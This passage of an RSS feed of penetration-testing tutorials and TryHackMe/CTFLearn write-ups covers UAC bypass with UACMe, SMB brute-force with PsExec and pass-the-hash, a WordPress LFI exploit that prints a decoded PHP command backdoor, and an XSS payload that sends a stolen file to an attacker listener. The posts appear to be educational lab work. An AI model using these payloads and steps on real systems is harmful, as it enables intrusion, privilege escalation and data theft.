privileges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1022/1*AnxUyoMp2Nh75SsveMzFqA.png" /></figure><p>In order for us to be able to bypass UAC, we will need to have access to a user account that is part of the local administrators group on the target system, If not we will not be able to do so. To check whether the account we have access to is part of the administrators group we can run the following commands:</p><p><strong>net users</strong>: this command is used to see the users that exist on the machine, you should see your user there.</p><p><strong>net localgroup administrators</strong>: this command is used to see which users belong to the adminstrators group, which is what we want.</p><p>One thing to be aware of is that UAC has various integrity levels ranging from low to high, if the UAC protection level is set below high, Windows programs can be executed with elevated privileges without prompting the user for confirmation. You can check that by opening up the start menu and searching for “<strong>Change User Account Control Settings</strong>” or just search for “<strong>UAC</strong>” and open that and this is what you will see:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/927/1*vafYyApDgBsDrX9J8chs4Q.png" /></figure><p>If the UAC setting is set to the highest level (the red arrow) it can be very difficult to bypass UAC, but if it’s set at any of the three levels below (the red rectangle) we can do that easily, the default setting for a Vanilla Windows is the default which is set to the third one.</p><h3>Gaining Initial Access</h3><p>In order to gain initial access we will need to identify a vulnerable service or any type of exploit that we can use so we can gain access to the target system, I am going to skip this part as it takes time to do so.</p><h3>Why would we want to bypass UAC?</h3><p>By now this question should have came up to your mind, if we have already gained access to the target system why would we want to bypass UAC? the reason for that is because we might need to run certain commands like changing the password of an existing user on that system or any other activity but that command will not execute successfully due to the fact that running that command will prompt the user for a consent form that the user needs to accept and through a command shell that can’t be done unless we bypass UAC.</p><h3>Bypassing UAC</h3><p>After gaining initial access we can begin with the process of bypassing UAC. we will run the command “<strong>sysinfo</strong>” and “<strong>getuid</strong>” to see which user we currently have access as/to. As shown below the name of the user is admin which is not the same as administrator but is still part of the local administrators group. We can also run the “<strong>getprivs</strong>” command to see what privileges the current user has and as we can see it’s really limited.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/872/1*vm0UFIs27v6WqIdXurkXBQ.png" /></figure><p>In order to verify that the user is indeed part of the local administrators group we will get a shell by typing “<strong>shell</strong>” and running the commands “<strong>netuser</strong>” and ”<strong>net localgroup administrators</strong>” as mentioned at the start of the article.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nmJwAfSQuTB6IRJtxnRQUg.png" /></figure><p>Now we will take a look at the UACMe tool. <strong>I will not be diving deep into the methods of how we can use it as UACMe is a complicated tool and requires certain resources to use. I will try my best to explain it in a brief way.</strong> If we open the GitHub Repository that’s linked at the top of the article we should see some folders, we will need to look for the Akagai executable which is located under source&gt;Akagi&gt;bin, download it to your local machine and transfer it to the target machine.</p><blockquote><strong>Note: It’s very important to look at the documentation of the tool in the GitHub Repository as it explains how to use it and what are the requirements for using it.</strong></blockquote><p>To run/use the UACMe tool we need to do the following:</p><blockquote>Create a backdoor using msfvenom.</blockquote><blockquote>Set up a listener or a handler to receive the connection, we can do so by utilizing the multi/handler in Metasploit.</blockquote><blockquote>Transfer the Akagi executable and the backdoor to the target machine.</blockquote><p>We run the following command to bypass UAC:</p><p>./Akagi64.exe &lt;key number&gt; &lt;backdoor_file&gt;</p><p>After running this command we should get a shell our listener which we set up earlier. If we go back to the shell we got we can run sysinfo and getprivs to check which user we have access to and what privileges we have, we should have much more privileges than before even though we are still an admin user not the actual administrator. To get NT/Authority System we can list our process tree by running “<strong>ps</strong>” and migrating to any of the running processes that have NT/Authority privileges by running the following command:</p><blockquote><strong>migrate &lt;process_id&gt;</strong></blockquote><p>and now if we run “<strong>getuid</strong>” we should have NT/Authority System, and with this way we have successfully bypassed UAC using UACMe.</p><p>Thanks for reading, hope this was helpful.</p><p><a href="https://linkedin.com/in/qaishammad">My Linkedin</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=198fb9b76b55" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/pentesting-tools-bypassing-windows-uac-with-uacme-198fb9b76b55">How To Bypass Windows UAC With UACMe</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How To Exploit SMB With PsExec]]></title>
            <link>https://infosecwriteups.com/pentesting-tools-exploiting-smb-with-psexec-4f93f4396841?source=rss-10cd54ccfa47------2</link>
            <guid isPermaLink="false">https://medium.com/p/4f93f4396841</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[exploitation]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[brute-force]]></category>
            <dc:creator><![CDATA[Qais Hammad]]></dc:creator>
            <pubDate>Fri, 28 Mar 2025 12:31:20 GMT</pubDate>
            <atom:updated>2025-04-02T17:47:04.012Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*23bB_1bucTjqHOecouGFKg.png" /></figure><p>بِسْمِ اللَّـهِ الرَّحْمَـٰنِ الرَّحِيمِ</p><p>Hello everyone, I’ve decided to make a series where I explain certain tools used in penetration testing/ethical hacking that can be useful and today I’ll be explaining how to use PsExec and when to use it for pentesting so let’s begin [ *Made for educational purposes only ;) *].</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*cGSaye5bx4xYOypYW5yV_Q.gif" /></figure><p>PsExec is a windows utility/tool that was developed by Microsoft that allows you to execute commands on a remote windows system using any user’s credentials, in order to be able to execute those commands/processes you will need to of course provide credentials/authentication with PsExec which is done through the SMB protocol.</p><p>The first step will involve performing a port scan to ensure whether the target system is running SMB or not, to make sure that message signing is not required and I’ll explain why.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OCyq7Vz8hhA5illf20RY3g.png" /></figure><p>After performing the scan, we can see that the system is indeed running SMB and most importantly <strong>message signing is not required</strong> which means we can perform multiple attacks such as <strong>PsExec execution, NTLM Relay Attacks, Pass-The-Hash via SMB</strong>, however even if SMB does require message signing and you still have the right credentials you can still exploit it because authentication is valid.</p><p>Now in order to utilize PsExec to gain access to a Windows target, we will need to identify legitimate user accounts and their respective passwords or password hashes. This can be done by leveraging various tools and techniques, however, the most common technique will involve performing an SMB login brute-force attack.</p><p>To peform the brute-force attack we can simply use Metasploit by using the module named as <strong>auxiliary/scanner/smb/smb_login</strong> and setting the needed options such as the <strong>RHOSTS, RPORT, USER_FILE</strong> and <strong>PASS_FILE</strong>, you can also set the <strong>VERBOSE </strong>option to false to prevent output for all attempts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jZF0diKmsvQbx1WsqL3wag.png" /></figure><p>After obtaining the credentials as seen below we can now use PsExec to authenticate with the target system and run arbitrary commands on there.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OC1Y5P6YCwbM0burmPkO0g.png" /></figure><p>One thing to be cognizant of is that the PsExec utility is a windows utility or a portable executable, however we can’t execute executables on a linux system of course we can do this with the use of wine, You can download if on windows from here if you wish:</p><p><a href="https://learn.microsoft.com/en-us/sysinternals/downloads/psexec">https://learn.microsoft.com/en-us/sysinternals/downloads/psexec</a></p><p>However there’s a really nifty tool or python script called PsExec.py, it’s a python implementation of the PsExec utility and allows us to authenticate with a target system, I’ll show you below how to download it (don’t worry it’s simple):</p><p>First make sure you have python installed and its dependencies by running this command:</p><pre>sudo apt update &amp;&amp; sudo apt install python3 python3-pip git</pre><p>Next we need to use Impacket, since psexec.py a is part of Impacket, you need to install Impacket to use it. So we clone it on our machine.</p><pre>git clone https://github.com/fortra/impacket.git</pre><p>Next we install Impacket by navigating to the place where you downloaded it, like so:</p><pre>cd impacket<br>pip3 install .</pre><p>Once installed, you can find psexec.py inside the /examples/ directory.</p><p>To use it we run the command as following (It will ask for the password of the user after running it):</p><pre>psexec.py username@&lt;target-ip&gt; [the command you wish to execute]</pre><p>Example:</p><pre>psexec.py Administrator@&lt;target-ip&gt; cmd.exe</pre><p>This command will launch a cmd for us on that machine so we can execute commands remotely on it.</p><p>Impacket also has a feature which allows you to authenticate with the victim’s machine using the user’s hash which is extremely helpful in cases where you aren’t able to crack these NTLM hashes, in order to do so we run it as following:</p><pre>impacket-psexec — hashes</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/759/1*MsWpH2Ap181l5GcKUiCJ_Q.png" /></figure><p>The great thing about this technique is we’re not launching any exploit on the target system, we are utilizing windows tools and utilities and protocols to perform legitimate authentication because we’re authenticating with the actual credentials and that means we’re not running any exploits or uploading any malicious files to the target system that could be detected.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2F1k03DWas9bfbYcbb33%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2F1k03DWas9bfbYcbb33%2Fgiphy.gif%3Fcid%3Decf05e47bexxtj2dspgiu153kxk1bcw16fic6mw8llghjqqy%26ep%3Dv1_gifs_search%26rid%3Dgiphy.gif%26ct%3Dg&amp;image=https%3A%2F%2Fmedia3.giphy.com%2Fmedia%2Fv1.Y2lkPTc5MGI3NjExdDRrcjkyaXJidW00cnVpZncxaDdlMGtyNjBkem96bmxoN2h1MGl2NyZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw%2F1k03DWas9bfbYcbb33%2Fgiphy_s.gif&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="357" frameborder="0" scrolling="no"><a href="https://medium.com/media/e11bf8a1ab7202ce53c38e452b66839c/href">https://medium.com/media/e11bf8a1ab7202ce53c38e452b66839c/href</a></iframe><p>If we want to extend this attack in order to get a meterpreter session we can utilize a Metasploit module called <strong>exploit/windows/smb/psexec</strong> but you want to be cognizant of the fact that this is indeed running a malicious file on the target and you have to be cognizant of anti-virus solutions installed on the target system that could detect this so be careful with what modules you use.</p><p>Lessons learned? Enable required message signing.</p><p>That’s it! Thanks for reading. <a href="https://www.linkedin.com/in/qaishammad/">My Linkedin</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4f93f4396841" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/pentesting-tools-exploiting-smb-with-psexec-4f93f4396841">How To Exploit SMB With PsExec</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CTFLearn-Don’t Bump Your Head(er) Walkthrough]]></title>
            <link>https://infosecwriteups.com/ctflearn-dont-bump-your-head-er-walkthrough-bad20c66b96c?source=rss-10cd54ccfa47------2</link>
            <guid isPermaLink="false">https://medium.com/p/bad20c66b96c</guid>
            <category><![CDATA[http-headers]]></category>
            <category><![CDATA[burpsuite]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ctflearn]]></category>
            <dc:creator><![CDATA[Qais Hammad]]></dc:creator>
            <pubDate>Thu, 30 Jan 2025 18:58:14 GMT</pubDate>
            <atom:updated>2025-02-09T03:01:53.279Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xR9y9Si40XQOQVJJ73Mskw.png" /></figure><p>بِسْمِ اللَّهِ الرَّحْمَنِ الرَّحِيمِ</p><p>Link for the challenge: <a href="https://ctflearn.com/challenge/109">https://ctflearn.com/challenge/109</a></p><p>Challenge Description: Try to bypass my security measure on this site! <a href="http://165.227.106.113/header.php">http://165.227.106.113/header.php</a></p><p>On visiting the site this is what is written:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Wfsgnv433trJHmdy4K4QZQ.png" /></figure><p>The site gives us a hint that we need to change out user agent header in the GET request. Decided to inspect the page and found this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*q6MJA1lGr-Z3rOw_-lEcBQ.png" /></figure><p>Launched Burp Suite and captured the request through my proxy, send it to repeater and edit the user agent header to Sup3rS3cr3tAg3nt. Forwarded the request and this was the response.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3z38EK2VuOuvgFYTqdRE9g.png" /></figure><p>The message <strong>“Sorry it seems as if you did not come from this site awesomesauce.com”</strong> suggests that the website is using <strong>Referrer Validation </strong>to make sure the request is coming from the expected domain. This is likely a <strong>referrer header check.</strong></p><blockquote>this link will help you learn more about http headers: <a href="https://curl.se/docs/httpscripting.html">https://curl.se/docs/httpscripting.html</a></blockquote><p>Let’s add the referrer header manually and set the value to “awesomesauce.com”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*woBQCBO_29vukEvBr-345Q.png" /></figure><p>Done. Hope this was helpful, Thank you!</p><p><a href="http://www.linkedin.com/in/qaishammad">My Linkedin</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bad20c66b96c" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/ctflearn-dont-bump-your-head-er-walkthrough-bad20c66b96c">CTFLearn-Don’t Bump Your Head(er) Walkthrough</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe Smol Writeup]]></title>
            <link>https://infosecwriteups.com/tryhackme-smol-writeup-c43db13dee00?source=rss-10cd54ccfa47------2</link>
            <guid isPermaLink="false">https://medium.com/p/c43db13dee00</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[wordpress]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Qais Hammad]]></dc:creator>
            <pubDate>Sun, 26 Jan 2025 16:19:29 GMT</pubDate>
            <atom:updated>2025-02-04T09:56:45.033Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZqKwbWleYmgtncV506oTlg.png" /></figure><p>بِسْمِ اللَّهِ الرَّحْمَنِ الرَّحِيمِ</p><p>Room link: <a href="https://tryhackme.com/r/room/smol">https://tryhackme.com/r/room/smol</a></p><p>Room description:</p><blockquote>At the heart of <strong>Smol</strong> is a WordPress website, a common target due to its extensive plugin ecosystem. The machine showcases a publicly known vulnerable plugin, highlighting the risks of neglecting software updates and security patches. Enhancing the learning experience, Smol introduces a backdoored plugin, emphasizing the significance of meticulous code inspection before integrating third-party components.</blockquote><blockquote>Quick Tips: Do you know that on computers without GPU like the AttackBox, <strong>John The Ripper</strong> is faster than <strong>Hashcat</strong>?</blockquote><p>Start with an nmap scan.</p><pre>┌──(root㉿kali)-[/home/kali/Desktop]<br>└─# nmap -sV 10.10.187.53<br>Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-26 05:49 EST<br>Nmap scan report for 10.10.187.53<br>Host is up (0.095s latency).<br>Not shown: 998 closed tcp ports (reset)<br>PORT   STATE SERVICE VERSION<br>22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)<br>80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel<br><br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 9.42 seconds</pre><p>We have two ports:</p><blockquote>ssh on 22/tcp</blockquote><blockquote>http on 80/tcp</blockquote><p>Visited the site served at port 80.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qz27Yiva6Yo0SK6fBvobKQ.png" /></figure><p>Explored the site and came across a WordPress login page, we can come back to this later.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AWKlf8Ts83_4m_7SGSZqzw.png" /></figure><p>Used Whatweb to see what version of WordPress was running.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*prFkaZPHM_SxXGvZk__UEQ.png" /></figure><p>WordPress 6.4.3, from the description of the room it tells us that this CMS is has 2 vulnerable plugins so let’s run wpscan to find these plugins.</p><pre>wpscan --url http://&lt;the-url&gt; --enumerate p</pre><p>Found one called (jsmol2wp).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/796/1*f-i5r5DFAwuWuhVKHkKwUA.png" /></figure><p>Now since we know what plugin it is let’s do some searching to see what&#39;s it vulnerable to. Stumbled across wpscan’s own website and searched for the mentioned plugin, vulnerable to LFI.</p><blockquote><a href="https://wpscan.com/vulnerability/ad01dad9-12ff-404f-8718-9ebbd67bf611/">https://wpscan.com/vulnerability/ad01dad9-12ff-404f-8718-9ebbd67bf611/</a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Tgo-A89Z7_9K9-aPaA_YaA.png" /></figure><p>PoC (Proof of Concept):</p><pre>http://localhost:8080/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&amp;call=getRawDataFromDatabase&amp;query=php://filter/resource=../../../../wp-config.php</pre><p>Replace localhost and the port with the name/Ip of the website (www.smol.thm in my case).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7xumKSblUp-pTZ44ZcL5ow.png" /></figure><p>Found the config file, contains database credentials we can use to login to the previous wp login page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DuKCLYtD1UODmx0Y9ZzxqA.png" /></figure><p>Successfully logged in with the credentials and went to the dashboard, let’s look around for the second plugin.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UoXQu7c9tTnPIn9Z9_vxsw.png" /></figure><p>Went to the pages tab on the left and stumbled upon this page called Webmaster Tasks, aha the “Hello Dolly” is the second plugin containing a backdoor, we can access it with the first vulnerable plugin with LFI.</p><pre>http://www.smol.thm/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&amp;call=getRawDataFromDatabase&amp;query=php://filter/resource=../../hello.php</pre><p>Came across a suspicious base64 encoded string, let’s decode it.</p><pre>echo &quot;CiBpZiAoaXNzZXQoJF9HRVRbIlwxNDNcMTU1XHg2NCJdKSkgeyBzeXN0ZW0oJF9HRVRbIlwxNDNceDZkXDE0NCJdKTsgfSA=&quot; | base64 --decode</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vN0axDCH1uvbHpw6Fgsr8g.png" /></figure><p>Result of the decode:</p><pre>┌──(root㉿kali)-[/home/kali/Desktop]<br>└─# echo &quot;CiBpZiAoaXNzZXQoJF9HRVRbIlwxNDNcMTU1XHg2NCJdKSkgeyBzeXN0ZW0oJF9HRVRbIlwxNDNceDZkXDE0NCJdKTsgfSA=&quot; | base64 --decode<br><br> if (isset($_GET[&quot;\143\155\x64&quot;])) { system($_GET[&quot;\143\x6d\144&quot;]); }                                                                                                            <br>┌──(root㉿kali)-[/home/kali/Desktop]<br>└─# print &quot;\143\155\x64&quot; <br>cmd<br>                                                                                                           <br>┌──(root㉿kali)-[/home/kali/Desktop]<br>└─# print &quot;\143\x6d\144&quot;<br>cmd</pre><p>This is proof that we can inject commands into the vulnerable page directly from this file (RCE). Here’s an example:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/713/1*UhuBo27hgVtWYqIfSjSWAg.png" /></figure><p>Time to get a shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/927/1*F_YX5jVuLJV7y0oNus7IAQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/762/1*XOezgapC7m_tF_8Is1hjbA.png" /></figure><p>Upgrade to a tty-shell.</p><pre>python3 -c &#39;import pty; pty.spawn(&quot;/bin/sh&quot;)&#39;</pre><p>Got a shell but no access to any of the users in the home directory, we remember that we found database credentials in the config file so there must be a MySQL server running let’s try connecting to it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/947/1*QFOh7x3aeQNF6R4Je-_UHA.png" /></figure><p>Show databases; then use wordpress, then Show tables, then select * from wp_users;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*w97SYSEywJ_1hWAZaaQr7A.png" /></figure><p>We found some hashes, time to crack them using john.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/974/1*gdls35ZbT5cr7fbtoznD9g.png" /></figure><p>Got the user.txt flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/606/1*AMx2oVUpuEzZBqx0ZpoZOg.png" /></figure><p>Time to escalate to get the root.txt flag.</p><p>Switched to the gege user and found on old wordpress zipped file but couldn’t access it due to permissions, switched to the next user think found the private ssh key, this is useful, copy it to your local machine and use it to login to the user think.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/977/1*2lL3AlQ4LJ3tOvZ-PIp8zQ.png" /></figure><p>Checked and noticed that both users gege and think belong to the same group.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/445/1*RhcJbxPDNdWxSzvuJta_kQ.png" /></figure><p>Switched to user gege to access his shell. Now we have access to the zipped wordpress file but it’s password protected, download the zipped file from the remote host to your local machine, i tired using scp to copy the file to my local machine but i had permission errors everywhere so i did this instead:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/520/1*jzLwrcUN-QT8jZmFOiV8GA.png" /></figure><p>Then go to the remote host and scp the file to your machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lNnblMeBNF11UcJ81GOU_w.png" /></figure><p>Now it’s time to crack it, use zip2john to get the hash of the zipped file.</p><pre>zip2john wordpress.old.zip</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZP1Kmh-V_ZULj-cudMNmNQ.png" /></figure><pre>john wp_hash --wordlist=/usr/share/wordlists/rockyou.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/407/1*WJY_xoul49jA1w8FvKEi5g.png" /></figure><p>Now we can unzip the file and see what’s inside, found a wp-config.php file cat the content for the file and you will get this. let’s login to the user xavi with his credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/789/1*-5OowjqRsa7Lo0tbLQ3AtQ.png" /></figure><p>Logged in and tried to get the root.txt flag but we need to escalate.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/731/1*AdKZX-kffkub7IbmhNoMDQ.png" /></figure><p>Ran sudo -l to see what xavi can run as sudo, all commands are allowed just did sudo su and got root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HcMaB7HV6I2FqOm7Sm_u0A.png" /></figure><p>Got the root.txt flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/727/1*epthwq8iUyGFYjnUtOb4vw.png" /></figure><p>Finally Done, this room was actually challenging , Thank you!</p><p><a href="http://www.linkedin.com/in/qaishammad">My Linkedin</a></p><p><a href="http://www.tryhackme.com/r/p/Qaiseenyo">My tryhackme profile</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c43db13dee00" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/tryhackme-smol-writeup-c43db13dee00">TryHackMe Smol Writeup</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Sticker Shop TryHackMe Writeup]]></title>
            <link>https://infosecwriteups.com/the-sticker-shop-tryhackme-writeup-fd43104a17a2?source=rss-10cd54ccfa47------2</link>
            <guid isPermaLink="false">https://medium.com/p/fd43104a17a2</guid>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[xss-attack]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <dc:creator><![CDATA[Qais Hammad]]></dc:creator>
            <pubDate>Wed, 22 Jan 2025 18:58:33 GMT</pubDate>
            <atom:updated>2025-02-03T07:46:23.552Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TNVPf24ywRrT4LRRiRMHYg.png" /></figure><p>بِسْمِ اللَّهِ الرَّحْمَنِ الرَّحِيمِ</p><blockquote>Room link: <a href="https://tryhackme.com/r/room/thestickershop">https://tryhackme.com/r/room/thestickershop</a></blockquote><p>Room description: Your local sticker shop has finally developed its own webpage. They do not have too much experience regarding web development, so they decided to develop and host everything on the same computer that they use for browsing the internet and looking at customer feedback. Smart move!</p><p>Can you read the flag at <a href="http://10.10.203.223:8080/flag.txt?">http://10.10.203.223:8080/flag.txt?</a></p><p>Start with an nmap scan:</p><pre>┌──(root㉿kali)-[/home/kali/Desktop]<br>└─# nmap -sV 10.10.210.231    <br>Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-22 12:17 EST<br>Nmap scan report for 10.10.210.231<br>Host is up (0.089s latency).<br>Not shown: 998 closed tcp ports (reset)<br>PORT     STATE SERVICE VERSION<br>22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)<br>8080/tcp open  http    Werkzeug httpd 3.0.1 (Python 3.8.10)<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel<br><br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 11.81 seconds</pre><p>We have two ports open</p><blockquote>ssh on 20</blockquote><blockquote>http on 8080</blockquote><p>visited the site on 8080:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j4nfgD1oo_GVxfCthgoLLg.png" /></figure><p>Nothing useful or interesting expect for the Feedback tab. Let’s go to it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qyJVRx8i1HjaHM0JE4HWzQ.png" /></figure><p>If we go back to the room description it says we need to access /flag.txt, but it gives you an unauthorized error (401). So we need to find a certain vulnerability to exploit to access that file, first thing that should come to your mind is Cross-Site-Scripting (XSS), we need to write a script to get the flag via XSS. came across this old forum and got the idea from there, also got some help from chatgpt ;))</p><p><a href="https://stackoverflow.com/questions/1798633/xss-attack-with-javascript-in-img-src-attribute">https://stackoverflow.com/questions/1798633/xss-attack-with-javascript-in-img-src-attribute</a></p><p>First start a listener on your local machine:</p><pre>nc -lvnp 1234</pre><p>Then the script to submit to the feedback form:</p><pre>&lt;img src=&quot;invalid-image&quot; onerror=&quot;<br>fetch(&#39;http://127.0.0.1:8080/flag.txt?&#39; + new Date().getTime())<br>  .then(response =&gt; response.text())<br>  .then(data =&gt; fetch(&#39;http://&lt;your-machine-ip&gt;:1234&#39;, {method: &#39;POST&#39;, body: data}))<br>&quot;&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4iZCBGZKoJACbcHTYXCP3g.png" /></figure><p>Done, Thank you.</p><p><a href="http://www.linkedin.com/in/qaishammad">My Linkedin</a></p><p><a href="https://tryhackme.com/r/p/Qaiseenyo">My tryhackme profile</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fd43104a17a2" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/the-sticker-shop-tryhackme-writeup-fd43104a17a2">The Sticker Shop TryHackMe Writeup</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>